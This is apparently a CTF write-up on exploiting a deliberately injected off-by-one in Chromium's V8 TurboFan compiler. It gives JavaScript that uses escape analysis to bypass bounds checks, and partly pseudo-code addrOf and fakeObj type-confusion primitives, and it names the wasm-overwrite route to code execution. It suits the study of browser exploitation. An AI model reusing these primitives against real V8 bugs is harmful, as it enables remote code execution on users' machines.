TL;DR
A few days ago, we played a CTF that has an interesting Chrome exploitation challenge.
The author of the challenge applied a deliberate and vulnerable patch to the latest chromium running with a --no-sandbox
flag.
To get the flag, we must use this bug to achieve remote code execution (RCE) in the web process. Utimately, we first turn this bug into an array off-by-one bug through bounds check elimination (BCE). Then we manipulate the heap to get stable addrOf
and fakeObj
primitives. Finally, we use this bug to spawn a calculator on Ubuntu 18.04
successfully.
The Customized Patch & Bug
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
The patch is interesting because it only use two characters. The bug exists in the MachineOperatorReducer
phase, a very late optimization phase.
The IR kUint32LessThan
is used to compare two uint32
numbers. In this phase (MachineOperatorReducer
), the compiler tries to fold some deterministic comparisons. e.g., for any $\theta$, $kMaxUint32 < \theta$ is folded into $False$. Also, for any comparison between constants, the expression is folded into a determinitic boolean
value. e.g., $4 < 4$ is folded into $False$.
The patch introduces a mistable in the fold operation. When the compiler trying to fold the expression, it adds $1$ to the right value, resulting in some correct folds. e.g., $4 < 4$ ($False$) is treated as $4 < 5$ , generating a wrong result: $True$.
Intuitively, this bug can not be leveraged to trigger memory corruption directly; and thus, we tries to use this bug to get some stronger primitives.
Bounds Check Elimination
Previously, there are several typer
bugs have been exploited by eliminating the bounds check when accessing JS arraies. Therefore, we would like investigate if the bug can be exploited through similar approaches.
However, Chromium has decided to disable this optimization to harden turbofan's bounds check against typer bugs in Simplified lowering
phase.
Fortunately, we noticed that there are still some samilar bugs could be exploited. e.g., the String#lastIndexOf
bug depicted by Jeremy Fetiveau1. As this blog indicates, we notice that the BCE hardening can be bypassed.
Finding a path to eliminate the bounds check
To boost our analysis, we use --trace-turbo
flag and turbolizer
of d8
to check the Sea of Nodes
IR generated by TurboFan2.
To date, although the simplified lowering
phase does not remove the CheckBounds
node, it is replaced by a CheckedUint32Bounds
node (source codes). In this way, in the Effect Control Linearization
phase, The CheckedUint32Bounds
is replaced by a Uint32LessThan
node. According to result of uint32 comparison, generating a LoadElement
node or an Unreachable
node (source codes).
e.g., for the following codes,
function opt(){
let arr = [0, 1, 2, 3];
let idx = 3;
return arr[idx];
}
for(var i=0; i < 0x10000; i++)
opt()
var x = opt()
console.log(x)
// output
$ ./d8 ./test.js
$ 3
the compiler generates this graph. It works and eliminates the bounds check correctly.
Because $(3 < 4)\equiv True$, without any bounds check, the function loads elements directly.
Right now, the idea to exploit it is quite clear: using the wrong result generated by Uint32LessThan
to eliminate the bounds check, constructing an OOB array.
Constant Folding and Two ways to bypass it
Now we would like have the very first try, expecting the element acccess is out-of-bounds (OOB).
function opt() {
let arr = [0, 1, 2, 3];
let idx = 4;
return arr[idx];
}
...
// output
$ ./d8 ./test.js
$ undefined
Unfortunately, this code snippet cannot result in OOB acccess.
After some investigation, we noticed that the LoadElement
node is disappeared.
Suddenly, we realized that the variable idx
is removed by the constant folding in LoadElimination
phase3. Hence the LoadElement
node is disappeared.
To avoid the constant folding, we need to assign an indeterministic Range
to the CheckBounds
node.
Therefore, we can apply some arithmetical operations to this variable.
function opt(){
let arr = [1.1, 2, 3, 5]
let idx = 4;
idx &= 0xfff;
return arr[idx];
}
...
// output
$ ./d8 ./test.js
$ 8.714350797546e-311
Cool! It works, the array accessed an OOB element successfuly! Technically, we can use it to fulfill our exploitation right now. However, personally I prefer another elegant approach: Escape Analysis.
Escape Analysis
Escape analysis is an optimization phase that can be used to remove temporary objects. e.g., because object "o" is unescaped, the temprary object "o" in the following codes is removed through the escape analysis optimization.
// before escape analysis
function foo() {
var o = {x: 1, y:2};
console.log(o.x);
}
// after escape analysis
function foo() {
console.log(1);
}
Because the escape analysis runs behind the LoadElimination
and MachineOperatorReducer
, we can put a constant into an unescaped object to avoid the constant folding.
function opt(){
let arr = [1.1, 2, 3, 5];
let o = {x: 4};
return arr[o.x];
}
...
// output
$ ./d8 ./test.js
$ 1.99567061273097e-310
Now, we get an array off-by-one vulnerability successfully.
Exploiting the Off-By-One
In V8
, the type of objects is determined by the Map
4. As a result, if we can replace a double array's map with a var array, a type confusion array cound be constructed.
Because map
is the first member of the JS object, by manipulating the heap fengshui, we make two adjacent arraies and try to use the first one to read or write the second one's map.
Now the baisc idea is that we can construct two OOB array, the first is used to leak information, and the second one is used to fake objects. The firgue shows how to fake objects.
Heap Feng Shui
Unfortunately, after investigating, we noticed the layout of heap is very weird. The backstore always place in the front of the array header. Therefore, we can only read the array's own map object.
That's fine for leaking double array's map. However, we can not get var array's map using this way, because the map retrieved is encoded as a format of object; and thus, we cannot know the address of it.
Fortunately, v8
uses an idependent heap to store Map
objects. the memory layout in this region is relatively stable. Therefore, we can use the address of double map to caculate the jsvar map by leveraing a fixed offset.
Constructing Stable Exploitation Primitives
Originally, We use the following codes to leak information and fake objects.
var lkrefs = [];
function leaker(obj) {
var a = [obj, obj, obj, obj];
lkrefs.push(a);
var o = {a: 4};
a[o.a] = [double_map];
return a;
}
function addrOf(obj) {
for(var i = 0; i < 12000; i++) {
var ppp = leaker(obj);
}
return ppp[0];
}
function faker(addr) {
var a = [addr, addr, addr, addr];
lkrefs.push(a);
var o = {a: 4};
a[o.a] = [var_array_map];
return a;
}
function fakeObj(addr) {
for(var i = 0; i < 12000; i++) {
var ppp = faker(addr);
}
return ppp[0];
}
However, it is very unstable. If we use this primitive too many times, it triggers garbage collection. The fake objects will be corrupted, and the process will crash.
Hence, we use a fake array to avoid it and get reusebale addrOf
and fakeObj
primitive.
var o = {
a: 0.0,
b: [map],
c: {},
d: addrOf(o),
e: 0x0000100400000000, //length
f: {}
}
faked = addrOf(o) + 0x20;
var fake_arr = fake_obj(faked.asDouble());
// we create a stable primitive
function addrof(obj) {
o.d = addr_o.asDouble();
o.b = [var map];
fake_arr[7] = obj;
o.b = [double map];
return fake_arr[7];
}
function fakeobj(addr) {
o.d = addr_o.asDouble();
o.b = [double map];
fake_arr[7] = addr;
o.b = [var map];
return fake_arr[7];
}
Code Execution
With stable and reusable addrOf
and fakeObj
primitive, now the exploitation is quite easier.
We simply follow the well-known tricks to get arbitrary address read/write primitives and overwrite the memory of wasm code to get code exection5.